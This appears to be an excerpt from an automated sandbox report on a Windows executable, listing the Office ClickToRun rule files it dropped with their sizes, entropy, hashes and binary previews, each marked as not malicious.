Preview:	.<?x..=....n.W..B.a."...].g.....2...j...)....j...~...B....._d....agzSV.H._6.MN)Q.c.?..}.D...S..p.......'Dd.......}D...!..Y....K..J...QD...Z#.~!...u.G!.S....P<....G....#T...Q.-y...T............_N...&..$..L!..b.1..Q.f(.".."..l.8...X7.....lh.n....&.l...p.;..d..:.\F...t...o..&./.p.>y..cS?.A<..J.%.N..3.%.L..............W....i....r.xpK....u.Q8...=.=....V.....4[JH.UQ..........}<..)....5.q.a.'.#.-.~@O.}......N.[.......)..`}..+L.62.w.......a....%s;T.i..9~...(..].P.....J.x....r...{..).\|:^6.._......X..x..%.h.Ih........z..$I..[..h..`[i...m...W....5R.'.....E.Q..$..3<euyO..F.E./^..G.o....UV...{..p..E....}..:3.9F..#.C...&.l....K......J..M...tK......dE...=&...\|..H.J.\|\5....%.Y.).;..k.K.#..s..l..L[..V...Q3zy...p.B.t.\|H..-..D.En..x..2B.A.;kq....L\|...$.f....ne.....)).l.+......).....h..qae.p..:..,.X..c..h...OL.j..M...W./.....C........m.[.#C.\I...]...... .a..A...7.KIRd..Z....v.cm3..*X....V..@.f.....B....6/.-d{...)...=..O.%4../....J..z........i;Ca..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703351v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.890361975875281
Encrypted:	false
SSDEEP:	24:Sy0Al/enrGkLSbobKGHSqve43DWwJukq16MYI/buZbnf+war/DU1hMbD:/2rGabb5vhWt6MYYbuwlriID
MD5:	E55807D84AD98521B6E89F7348A7E311
SHA1:	E213247F5760743F86A479A426CC76FA0466CAA8
SHA-256:	555669E8AB4D8443E604775FA6DFCD975FB36D51DA69330A7C2483C7C1A29282
SHA-512:	48CC6EA2A98F2A8E071845D0F9ABD0F7993D1CBE1BF21BBF30EB17977947CE7D11F6D4961287D9836891DD5794DFFDF0D9B055AB9CDE4611596CC8190CB3D73E
Malicious:	false
Preview:	.<?.g...E(.6Y......\u.T..iC*Rc..aF9.......vD\.EA...d.......RhfiA.o..q@...u.2......t...w....yh....j.X.Ad.H..<.Y..+...=.......:MrV..EZ...l7...B.2b...+~O.).V.Ew.1.N..x{.S..._O.(.\.Z.+{.2./.&..'\F..Z..{v/...m..F...9C.$\s!.....g..s...q..f...\|..!Z..I.....%..[.m..;cE..g.].9..m.....Ox$-.....B..]...yK.]....6t..j..'d.X.o..=....$.....s....!t........F.X).4.x....VJ..W......I!l..Z..bT....I...:..%1....qvk..:X.NY..#S.....O.....l.{.....3.......M.b.JB(........L....t.y.............C'.a8......p.....6.....:.P.g..N.7..j....c.&.".Q.b......=N..Z..A...%zJ.T(.......k=V.{'....5.e./L..s..gDA....sPV..S...Ji..X...B.O.gb...Y.,.8..,.?X..x ...n..>J........d.5@v...:.e!W..... ...!.5.\|.t^.JZO[a..c.........,4....(3-..GWY.n..9.@..V...wC.<....l.`6.;.o.#.R.c2B~....{...v.@.-l.qY....R....`....Q:..m.).[.Y.(..O7_.....vZ.<P...^.V..]cpn..9..[.w=.`..x....S..D.m.3..];...@5h.,...<.].\|j6.&[..V3.PY-Q.......K.Y.\|ayW.y....5.?...&.RZn........'Z\|l....e.@O.F.=..:....A.=Xx.y......Wh.o.f

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703400v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.877092189442195
Encrypted:	false
SSDEEP:	24:49TT/OaZgmx3eEFpPSf33tXm0doLFZi6UaMZTFm9WhsRBFcTSxVMdTGNb4bD:aH/B/FpPQtXHobCTmxaT2VuGN+D
MD5:	66E28E4DC29C018B3A8107F39810707F
SHA1:	94B7EC54AE15CE15C1890FE21156C5133F73C542
SHA-256:	C406F3BFF46F8EB094D98AAC240C47E7A603434C21236D7DD1E13C7B797541C4
SHA-512:	70B00D56AD6CCD2D3F4DF0DB5B451AFCBA686AEFF8E462F47ECE73D1C4963149ECFFD2774C3E49C0E99A59943D38D56B9D3CA8D970CBBADF7453F1AE4B3F1200
Malicious:	false
Preview:	.<?.p..x..Ng;{..^R.........ZE3`d....<...Za....;"...Y-....-...J.M....R#.0..e.(......I.....0..{............S.^..U3.......G...0..V!..uX........A..........W....\=i}k{.-"."J.\|}....y.4.w.:c.J%.1H..cx..n...r.]8n..On.].gIc...=.5rdwQ....9....@...4vV...3..o.....w....I<F...,5....WU. M.P:[.!....8>.3....,..m..W.....sk.:M=.\.....i$......Z..U`(y.\^.Q..0.5b......;.ww..T hOV0m..G..z$..@...S!kk....u.,...K..z.-.+.e..;....%w..^5;.Dt..6...8..7...E.Di...P.......'w.Z".xI.F}.7.:J.@..F..(....+..wI.xY..z.....u..n......9..I.H.....@.q.u.\|....?q....Pi...Z....`.<=).:S.#..%...P.<..b..5mj..g..\|.{TLng....K\|..MG.1...C.G......#..\..Z8..i...q..v.-F\|`9......a.......;...(..+.HU'.RR=l^.......q..\..p:.....VZ.\|5..........C........N4....\..1.......4.......3.l....4n587GE.76.....$..........`O7.g+!=.r0..3..5...NB.;`(9..\.Sh...91/......x.V.......M....p."X=.R.....2..[..U.,.YF[....1GuL8/h..<..X}1........4g`....dde.m.}.32.....f.j...i"V....!.........Lu<........o.0..U..}.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703401v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1759
Entropy (8bit):	7.87957425264781
Encrypted:	false
SSDEEP:	48:1soNkQh2FtmJuG4QjEGatGGVJJ8NiZGbQghgD:+Qh27yYQ/agGNZGbN8
MD5:	C4A311A18CEEF6900D50302F8645CF09
SHA1:	7F2E4138DB2F3D15D2D045E5840079CBC0CC0392
SHA-256:	1AF7A93F059552F34993865F2A1411101A7C3C2D333C984A8E790CFE4407B198
SHA-512:	BC1CDF0AAB9105E3BF76E06142A4CA219580131BCDBCEFF1F5108669460B8EB05DAB5EBE8F86BC1982277D9197FD9535238641B6850F94C04A0D1069FF7CCC08
Malicious:	false
Preview:	.<?\|(.......!...B.:.f./Dv...Tv.7......\|o..........w.....f...`.S8t.D.>.H......O...\..%...j..V...D..,s..qF.cjY..lt.:..`.s....a.;....`9.........%.L.5.U....x..\.3n0,.B~fh..r....a.....2.l[.....Gw...,.m5#._7...j.9.a.Y..}^......Y.U....\|.'.Q=`...g...Q..RTF...-...^:.i..3R......1.z.BDu..3....!....>lA..;...._......A...&4..=(..._...(o....[h.'..M......b._=...ey ....U.&..7./,.n;........Q7.....[.W.....{b;.V...Qgt+......_l.'.g"...Y..s.X...E.2@..cs.(.BY.,.......#J...>.h./V..%.{oS..D......./...2x?.(..615..;.k..D}..z+P...<z...K...jJ.h...Je.k.Oba.xr...v.[.FF.#.fz...$..+...s..u4...N7....;/i........^..EJ)...k..D.VM.Y.PZ.0.q}....28.8..Y......b;..)v.67.mF...1..:...FW.!.I.e.y..3.G.W,.......... ........../QV..W...L.....f..I.....pjR=].YR-.w....J.....{....P.M.L...2Y....d.0.]...T.L..O.B.....S#.1.......s~....-%.HZu..?.........;Z".H.....T.T...0[.s8...!}...w...8.{......C.`.O.....W.QH]u.D..?.NB..t.2q.....p..'...l6.....~\..3...%H...:.........J....d@C^..i...{uGH..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703450v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	7.871149189141831
Encrypted:	false
SSDEEP:	48:XfTo+HIMrHu2MHj9lml9US1UC/u3HswPAOqwDnD:LzoMrO2MHxQPUC/u3MwPAIX
MD5:	4F6F05CD2E8D043D478A314241AD6A0F
SHA1:	22CDE8B90C4882265868BA125FD9513A64560891
SHA-256:	2F38C5B7E9659BEA4BA8375DA6347E112D85591C77AECBD3A446D23586E07275
SHA-512:	932CAB6302005183FB2C7E7C062CB99EB4169E6C0811C6E93C85CA1DD4F210A80F356A78AEE0F1A211E08077BCD70649CE19687400C29D076CC787AD07943CE5
Malicious:	false
Preview:	.<?aa(..V.h.....i..#...1...h..._.d..=Q.....\|.T..z.....u..9.c.CM&.t..z..O.o.@xK...H..o....U...>'v..Mf<C!.<rU.b..#.p.qi.....HP.~.)........H.}.@........S.\R........D ..y..-..W[........a.?.t;i!..m..+.Y.A..9l..;S...7.7.. `.5?.!..O].N.[.C.c...$L.(Ng.3#.....m.n........c......Hn.)q.S.@..<..%..m.~.O<7...}..Va.Y..[.K.a`.......0..3...X.........`.e........Ng.6.6..y\|!.Z?.$e.^...8..]....S..~.^wj.)..r..lz.k`..e..)iW.5.j....Dl#/....&.<6..$..~.!..).K._.f..%l..\|"...6...w. ........W.n."J.....!..G.p..vu...e.M..9K..2e@K.......E...+J.;.)+..93..0N...u"b.. AS.].>U..#.j...q....j...\|z..........n..X.......Y..q.n$..f.w._..#..........v.6...k.5h..6...[..)G.X...U.....AM./#.2p...o..p.+.._7.5..7S..^.......OAqw...5...aE...._5<r....\|HH...,c...%.j_K...@..u....8..<..........:...]v.8\....P....7.!.k....e."M..j.....t+.&..F..Hw{......b..>.+./.5.V.....Mc&.[h'T]u0V....1._Q..6.}:..'g....Y..~A....ky..(G+.A........!=...(..$......y\...y..x..[.vK....d.....V"..!A..{Ql.3U.d..:.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703451v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1743
Entropy (8bit):	7.87882233155179
Encrypted:	false
SSDEEP:	48:osNEDdfpFZOi2X90+G4SlWqDkcpd+hKptTD:/EpfpFZeX90+G3lWqjjB7/
MD5:	BB67815275FC3C673D2955922307D329
SHA1:	D45CF230647D3B3D714328A5D69A900B0D905634
SHA-256:	C1B1F32CA059097B2F59DDEED1E4D2C6724069E5928FE579811C0478F285BA18
SHA-512:	A3221D9EDDF200B0CD08BB58A74580042ECD06C0372243049C0B38B405C2CF3DEA2ADB786D911A34846F4C94B366B488A923151459C77F8B8D91CE6A0B15459D
Malicious:	false
Preview:	.<?........j.....q.Y$\|..r....1.V.SkQu$W... .kt. BcXl..+.l/8euh.h.+5.....Eq.D...+.P=.....~....q.1+WIm....7...B.....".......c.....h.zc.Z/jg.G....s@.ub......G..&\|.u...@.2.Q-.....Kp...)s.ej...34j..G................$..i$<u.C9..O......\|.....<.m..G.u.q..&.-..5....)....w.6....o..!..;?...Bv..`...+K;........QW..G.#F.u....v..#....S\|v4Vf0.k.4U..5.P..1...N..)5....u....fiKg....q......;./.1..E..A.qv..T0//...H7;.m.L..F.i.M..l.8n(....S.Q.6.%.....).(...s.....-..nF}C.0.<...c....To..n...CG.....Mn....#....\|.s.M.oC~.G.......x..x..^.[yha!XY.Us.....9.......,?...)h"qQy.8=H...uI>f.I..~nu.nL.......t\|.Ed.t..g!YU...b............c"....'.._/.c.......3....b7.b.:q..<.n...C!.\m........K.a....\|.z.P..s.F.{.....V.....Z.3b..(.9.c.C...4..1y.q{Y..<..".-...:.v..K..?._)D...W......bCF.....}.`.b........H...."]=2..J.. \|$J.`..m>.+...+.....c..T&..`In.d..@.....\..RGMM.8......K...A[.E.....k....i....\|.(..bv.4.c., ........H..\......J.n...-K...y.y.9.Y....3..\|...h.]V*h.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703500v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.878837904799483
Encrypted:	false
SSDEEP:	48:KcPssHqszpY6Aup2ArIz2KufaLNQ6nmb8GiDLD:9xHdztKufaLTf
MD5:	4FC4B65C8E7877BD6990E2AE99A750B2
SHA1:	4CFA3DA99457975FC89F016F856DFF596B863686
SHA-256:	B4A8EBB84DA708029AEC8AAE17B1800A35DD9459C53CB3C61076C5C29BE578AA
SHA-512:	18A66A2373D4C7E7EADEB074B6387A6A6CE3C61D8CFE59914FA75D37663A1F66BC3F26BD44714A7279E5A22687E4D4C5307275F1F6FF3951D20972993756765C
Malicious:	false
Preview:	.<?..(?2.W6>'...L...I..r.Y.........'f...9.E.@......k%XJc..D....Fz.....'9q8H..........d ):...L....a..{}..%A.jm)....j.u.e8]G...(.N5v<.T.A..P&..c.r..R....._..hI. ...2.et.9...y9.yn(......+.<s....\|.V....ft..zY.V^VD...?>..2...%..b....!.":/...d..\JY`y..........V.r....Q.p..o?..g5e.7?..4`M..>..lP...,#...7...a.......y.%)6et.X...>...z`F..v..".S..YJ..........{.l.O#. \|/Q.Z.D.3......uM^.'.j........\|....l..a%...K.N.f.A........K.&...-$...[?.:....?.K.m.I.M.ua.Sp}..%d.XGO3zp...A]'......z&.B..M.[BF..... ....B{.\|dP...H........>..R,....V.Q..v.b...G.).\|..,g....I..F...Fx.NFb...C.O.aU.r...[~U..<\..[...AZK,...v.Zg.T..f..I....H..:.. .U...#.<u5....0......d.n..x.AR.....8.>-.8b.o..N.dR-v....aQ..B.w..aj......../tl..Z..T.U-d .j.6...`..2v.H}.r.t.J.G..7LAt""..?...r.`..@..o...ur.+.x]&..*!..g.'.........a.n.....I....?.]..D..kJ....6......G.......x..^.......a_...{o..M9.1`.....4.q3]..a~..LQ.bU/N.G...U...g.b{..`.%...x.{!)..^.'.i.>9.q..%9.R.%....1. ..U]......1S.Z...s....x.O..E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703501v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.872555825525589
Encrypted:	false
SSDEEP:	48:LjgJbsmBf3RMNmI7GN1RU1k1LNU8jr/tbEpD:4JbvMOT3/jBbEB
MD5:	D32BB9DDB7058065B4FDE2D2064BB25E
SHA1:	DC1B9DA0D43C9F92BA5597B3665ADC1082B79A02
SHA-256:	3F0D1FBE575E68EDFF2A2C1FB1A7759A4FFF8817BD669E320C1BD268AC9B8B39
SHA-512:	7DF2D9C32995F5E94C937378420EFAC871B82783716A9D2EC336F66059372320F6822CFF9A2024A76E71462A96F9F6156CBB8E6522F2EECF39AACB86F3A5B16B
Malicious:	false
Preview:	.<?.t]t..5.(J..f..JKz.e..u_NYW.8...cF..B.!.hh 0Ei.T.B...M<.4.la.9.Y..Y...-.!2.._.!....I5.:..^..2...\|j72....(..\P'....)....W2..........v......y:.z.v....2r......9..."..o*.To.?,odGd.....e+..[q.....~.5.IV.X)........y=...,...9......L....%.j.\........+..v..._..Fu...WK..I....{].:......:.......#.,6..iQ7.............e.........v!K..x#/.3.C..1..@6.5...(...-K..y.u.........;.a....3..Mk.M.}bd..q0m...c(..\|..6H..@...u..`1....o......:.Me.(...}.....C...\|......R..`.o......G.+......C.6..iw?.lP.K.X.ICl..T..Y.NTb.m.Hxo.V..^...V..4]._..i....r..>.'V..................Vs..U.$Y.:.7....W.b...X..I.E..S...B..t..Gc1.F....l...6..W[.Y....}.[..m.4jC0..._.xz0<...):..p...8.......2....l...f.....R.+..Uo.....)r.........<..ix.....%...v0...n,..6V.Or...a.\.-.8.N.<........@....(...wpJ.j..b...?J....T...P........9.....Wr..m..f}..nH.6..q........^....q.8Z..`...lnoc.....6d....H<5.........;..d..&..l.Egl3..Q$...AW..~.{.cu......e..10.z.a. .y.mc._......7.\|8...>Y......R......2....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703550v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	7.878492246794808
Encrypted:	false
SSDEEP:	24:jjM0oqxrffIT6PM5NfcHYfUnrCEcBlxdPgb/XfEoe0AyodCj+vWCwIGxs3YYuz3x:jpdrfQ2PM5NfWrCdxw/Jj++CwIGqY9pD
MD5:	6C05F7A3C7F9DB6C002600CE854A8270
SHA1:	B440B570742B370ECFED7BAD568157CD1417C7EB
SHA-256:	1A2881C61877051BDA6EFBD97436E39C3F8A040E73A61AE2E9635DA3456B9491
SHA-512:	BD8C72026B71F4E2F6C756A147DDD8011E40341C370617EB0F70940E8C6677246C42D7A7198544D1A18AF5B4DF7DD151892D12357DB5796098761AE63F7FEA88
Malicious:	false
Preview:	.<?W....J...L.)..-.D(...px2a..I2.u..X..u.v....?..........]^P{%m`.7im...,.)>...[./^.R@..K......._....G..j.A...C). z...Q...[........}0Np.z<.8(.L...Gw=..W..1'.7....6.x.D.+.@..b.`....C4 .QN..p....A.q...b.N."`{].Z`Y..].R...E..XZ.,.^.^.......cNE..."s0....[....0.....b.U..o..X.$..;..(.H........o2.:...I.{\yo5fF=..=.....fBZ.HFE..<.j.....n-{Im.....).....@R..n(;.:,.x..)....R3.:. 9,..L.-J...=..C..Q..I...!...q..N..J.ms.Muzm...O..b.]K.t....?..5.b...MT.&p<..2'F\..._'7.W?(.."0.?H.......2...r.......=.`...>9..}..l....a......1.....v.nE....p.?....Z.U.8.b.p.:..0..(...Q.{.?3W..,.D.'......Z.a..X.I...A.EZ...y.0x.4)g.d.VG..i...Eo.~ ...caY.{.c.S=.`...C..@k..H9.^..f.=..).G..J..N.G@r.u..2.a.>...Z..v.1m....q..7..);9..f....B.$.....gi..}\|.L.&.f*..a>c...". B+....d'y..qW.5j.}...V...FL.....CA...+$...C?............/L...~...N..b... ...8...................T$........3...q.v.....H(?U......!...........6.#.f..Z6T;I......e.6.8.>(.j'.;......Z.R.S.E...N.r.,..C.Y8.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703551v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1743
Entropy (8bit):	7.904553227235489
Encrypted:	false
SSDEEP:	48:bnGlHEh7F9zNX3bSlxmAYmAUh2jWGPM5mUxAcXMJc5D:bGlHu7F9zZriEbUh575MJcx
MD5:	990A00B2F2E7D35C1D99A0F4819D2473
SHA1:	7F744C96BC4C62DD7D7AFD2A193C29B59524D814
SHA-256:	7E789C5F7EBEF4977934C6276D34434DDAD51826FE4E8687F8A771C4C5BD04D2
SHA-512:	F38A2267C277C640D09BBAF516614940F608713129C8EECE68E33F383851F4E760837E4A85797DEDF65C120CBDE1172F843A2D42ABE67AE24840A1B56CB63C57
Malicious:	false
Preview:	.<?...GY .e.D....!CT.\3..?.,.!u'....T.xoT...@.O.Ih.i..... .-.K..w.......%.iCT!.d...m.p?Lf:D...[K.@w........d_=.'^~d..'.t0.I.X...g.6../..i;...bGg...P.<5.f...u.:..b...H..[....:....$h-...N.s.D...x(..LE.K.zM.Y.@1@]i:w..C......25..gz..y...X.....-..?:>.b..s....y}.....pb..d+......e....&Ad._..E...:~ ..\n7X0..@fG.d.,.....~.f....;oq&....E.C.q(M..%s.....(.@.....oa.....;..<.O.%=-.0.....Sp...M...V.OT6..@4.Q....&...`...9.^.([5d....5.C..N...R.....O..V.:x.2..\|a....5.+ 8?.]Z.F....I.!m... 3..D .q.<.7.... c...R.,7..4.]..+...8!......P.PX...../...N....H..U.\|$....se..2.Yx..qNP.......}T.A.e&#.b.D....5...!lE....~..k..[It9='t.{..U....Umh..R.r..z.L....i...,c.@........).b...$......{...e...5.cf.v".. ..4.hK...d.2.......?...5...c......Zke.@^o...W.v#\|.e....Ox..*....#.Mvr..^Zs..o.~L.//.....<..~....aH.Q{.?....O#....1...!.<p..u... 56..=O...4...n...X.....hX$..g0.fF...r._.r;....:.s._$..lO..2..........z...^j..H.u..".....n....4.{)......._}u..F..NR.H@.......Ks...h..1..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703600v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1692
Entropy (8bit):	7.881907238887287
Encrypted:	false
SSDEEP:	48:j/Xc3G/aV+u7yvNfhhILJJ7+XJGuKCiiO5G4D:zXdnayXhIL37+X1KMOD
MD5:	022C97DE1AA30D119E3075B377A079EB
SHA1:	33ADA69EEC3DFB78776B07832F4ADFF72A1EADFA
SHA-256:	8958A5BF5C91A35C2AEC237B7EC28400A2D6A91586825E277BECBC8F3D6CD7BE
SHA-512:	E61B4ECC10759935466658306DF603377077937B2DDCA73DD165A56518897B3D82311B9958C3A94809C59CEAD89F51B52D396510D1A9710E115ED7396D6F4565
Malicious:	false
Preview:	.<?;.f...H.".-n<.X......9..{Boj..Xpa.#...c.8.U..$..[#.....fx.,...".....[>...'..YN.~..#<l%..d. .2.....q.z.a....G,..-..H.6.......j."...u.P'..~...}-.;...H.....P.......t.O&...K..Bpz.......j..}..].Z...:... .?.\..5B..O...C.7(..S:`....O...A.9>....:......."4.`.:yg.^.......2.K..1.H.%[z8u.......T...R.DW..Xx.. .G@....#-..8...6v.%......K..wZU.C..x....?3v~z.......y{@.B5....%?.....e..._12I...<B\.f}j...J..Qg?.W.E5.h..y..^.{.q..f...$.9......s.Q...t...(.0...)..M^"..N...l....{...<'...s.g.g...;..9....5.'..g&...BXZkQG\|..}..z.v.P.Tp+..p..[FR.qeq.M$....j.T.0M.Q.F.W.m........H.........s....4.p.r/ux.9C...70..H.A.._`.;nj.Zr\..m$u~...#.tL.IpI.d..;.&.D..&..\|.L.D?..N...PH...Oi...\.`.?..4...'...........>...-M.^......Z.m%..IOS.B\b...'.....u.....q}.?..m%V...C..........h,........F?@[....=.T...:.,...Q..h..M.2ZW.....K.pZ..oz..vo$'.....ZAY...g.i{Q..K...7.z..>...M.DJ.I........H.@4. ....kz.$F .i.=3..j<g>....Z.).."....4....]g.q.m..\|....QS&F.d.\,.P...C.qZ.O8>.+...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703601v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1729
Entropy (8bit):	7.882159579381785
Encrypted:	false
SSDEEP:	48:FQj7+zyvwVM5kT3ksCCYdfU+m7DJ1QRr2p72ED:CjS6hkjCtU1DJ1LP
MD5:	3BA189988E82A74A749FDAA8E18E1F83
SHA1:	56AB4575B4AE208D68980EDDB0763FD69E029AEA
SHA-256:	48BF563DF8788DEAC9531D9E2F964110087FF6EE5FF2317F1287E75B39852401
SHA-512:	CD25ABB7D22271E7382B94942D06BE37042C34232C4CD5189239A2AC2C1FBDA75E2BABFF3E02E4E93587055D6D343DDA8DAF9FB00A64FD2657E940DF841C5A9E
Malicious:	false
Preview:	.<?.K<@n...f......x..ra..r.HmMk.4..e....M..>$....Pz...HxH.Wao.d.].....+....}j.a.. .'Ez+..}B.....I.A..bu....[@.U...C......WE.....?u.(.....}.....`.0.W]6.....8m...N..X.0:F.e...j..kQ.:...D........:.7.k....I...n.....Y.I.U...$...6.FlZ.y},.}f...s...+_...X....\..!...`....XV.........J~.xwAA..B.Y}.Mn........$..-....x.~@.1..";..../j.t...:].....J...K.D.0..A..)J%..h(..&"......W...@..?...{%....._.n.....E....k..63.)..0.{f.....=c.....o._..........E..Q...?."a..7.=.....1a.6.?. ..;.088D.U..,..~.b..bV.........M...FpJ........"..nJ.r...P.y......nJ...4......m...G6\|...l.{........d.,S6N .$.E.....ZNW. _.z..jg....k.........D...4...!...g9s.;P.d........+..w..#J.8.p....m3.@C...g..l.,...8..\|Y^.l.}q..J."G$\k.qg.t.~B.GAB.V.7.;.i..V...M...G....!Q....ZF..14..0.....p......h%M.u...^.....QRX.Dkf.A~.kx.Gij.S.'.H...^. ..\|.~......=Ws...o..X..C..Xxc..k......Uw7.63...Pq..gi\..o.v:.P.\. ....%...U..Z.....@..\....l~...!.g..I4..]!..b.0"..<.OP.."..B...v. t..=]S...<....U...!..f.m...%..w.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703650v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1694
Entropy (8bit):	7.875909772332737
Encrypted:	false
SSDEEP:	48:tnkSuGJ4nhCn8kDEK73HOilO1+0G7RKkegnD:1mGJ0hCn8kDD41AMAD
MD5:	6AB71A303170C6F218CFBB4F44288D25
SHA1:	09AECA4EAB7D6F40D541CB5180CD8FE8BFA935E3
SHA-256:	0F6987A563A6E508819B01E2BB2785F9214F6DCBA4E9098B83A93BDEC60541CC
SHA-512:	BAB8EC25A07B58ED0127FF0EAA81D623B56B64C5E99ED6D528A73C2E31B9A97BA2152182A610F05CE3F4D177488FF1DB791464D1216F7B8D60B1D94504348A65
Malicious:	false
Preview:	.<?.H....$..E.'......3s..g[G...1v.E..%l...>.....^.......S...f......1..Q)..=..D...)...jP>.&.....3~7.N..'.O..-S.v..g/w.kA..^.....M#.1.__S/.Z....%y^... Gvw..8...mr..2I..?U."M:].....e&.......b...J}......b.-[.j.r..bl>Zk..d.7...".,.X.3.....dJP;D.Kr..gvg...f.:z.+...#._...h..;.....BG.l.i{.v..F..}...F^.....tt..@..i......F.1...g.4....>..e(........EZ}...k..r.-....XIn...%f.../.T....Gr.W....q"..uO.WG.y......:..$ii..x.lB.9}..t.Y..c....l.N.x.O.~a......;e..r.....I....!.q.+._9.....%q...6..H.....'...'$..@U...Y.....).r........l.C..W1J...o..bO.P......J..<....N..f..@.>..o...D...C..=cE..7..J.k...+..+.;.. ..7... ..AV.Z.E!._wd6;.jz.KOo.G..,..E.J..y..+f..a.J,...V.Z.'.F\|....5............./.tE.k....U..W..7...t.w..3..(..S.....}1.+.].Y..KF.>.$BU.M/l..B...`..(z&....6.1....X..1.'.<b.<.......F/.....Z."5.={...89.P.o'Q.=.r6.J...;z ...s,...e...-......X.\|..m\..._..0...}..A8J..t_4.V:A..`6....k.&..Zo.,.<...Bu;=...G(.l........i.l'..x...lJ.....vR. 1...\|.5.sR.8..K..M#'A.5

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703651v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.878776633217792
Encrypted:	false
SSDEEP:	48:Rj6cATfMR9PphS3zPra0U3pPCoAAq10qv53G8oDD:RCTf+3hS3zzDo8oAP1/Gz
MD5:	CC3E6E01D83EAED8D8FAD5DD93FE694D
SHA1:	2662EABEF2FC76092F619CA7B71F7DBB1958F5AE
SHA-256:	48C29B21C4AB8C7A23D0A93A1A51087CC8C6A5621539AAC70E3BAC8BE3C49D0C
SHA-512:	F42A60A6EA8B6A093643F0C72CEC7B1D59ABF8658D5D4EBE921E61276B6A84160D972D72B4A5AD28BCB14B188DDD1A995C4080861F517CFD36BF9FE75A672FCE
Malicious:	false
Preview:	.<?...Q=..$m..\..X..dr...{.s9.F....\|...dQ.j...Zz]Yac,D^y..)....V.......E...>0.0H..5.@w. ."........L..A....-6..2@.s..._..C`...!<...s.5d}.....&..Gv...,.bR..f?^..........;...{.P2.\..J....5.m5...N...d.v..k.f...0;.6..L.y....w.Urj._z#.... s......."D.\|h...c.4W....c..<..Q..5..Q..t.2\,..w.P.&..@y....E.S..6....@.....TH..\.Y..u.>.Z.......J.j..j...;.q......c.M..SwG..'..'-.p.6+\|..1..^...E....Z.....;C$...h...$......^.<&..:.&.N...W..c.x..i.2n..^...=....R...A...D....u.c..^cok..+.)+.....&.,...x.j.....-.$.z..,+z...J........`........1.l..{aWeM...B..^.Q..Z.....Q.7^L...9..k.......M......)1..e!.-I..B.M..'!.Q..........2.?..<....1..i..5u.m.J......P.,."$.l+.!........-.E=t..I..1....Wj6.`.4..-KM.....#...I..y.Q8..B%."..X..g..\Nfo..}..f..^....6...J.(5.@.....8U.0....1c..]}......&.'......6(.{.)d.I.Y....>;..BR..qx....P.....:Ack; ...g..z_..E.Cp.q..>ZHJ,Ad%.yM...TF}}>..LK....^...4%..x.%...Wtt.4M.Db...&7ri..........P...Q.....Q.)e3b4R)............s.*.:...k.[#l.)..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703700v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1712
Entropy (8bit):	7.892898766762856
Encrypted:	false
SSDEEP:	48:r363zSuh6TaejyVDNt9cjWC+EQle0Vy5drC/GtOBj5VxUSbD:r3S2uh62ejQujXeV3uw5/U2
MD5:	95057BE9974234CED67C4F7053717C88
SHA1:	6AACE887A3EF614BAB5FDCF72B46D7F9F8F824A5
SHA-256:	B8200417FE88AF2BD18DE4CB2561977BCCF6C2375D29217ACE2877E9BB85EF67
SHA-512:	AEBF4F7D01D2A5640B4438A4B4917B3776FDA7F28AAE9BED4B16C420B87D4F8DF345F81B8067D87E4560E6736F0C5E46B11CE192EA55A4597DB61F668AE06520
Malicious:	false
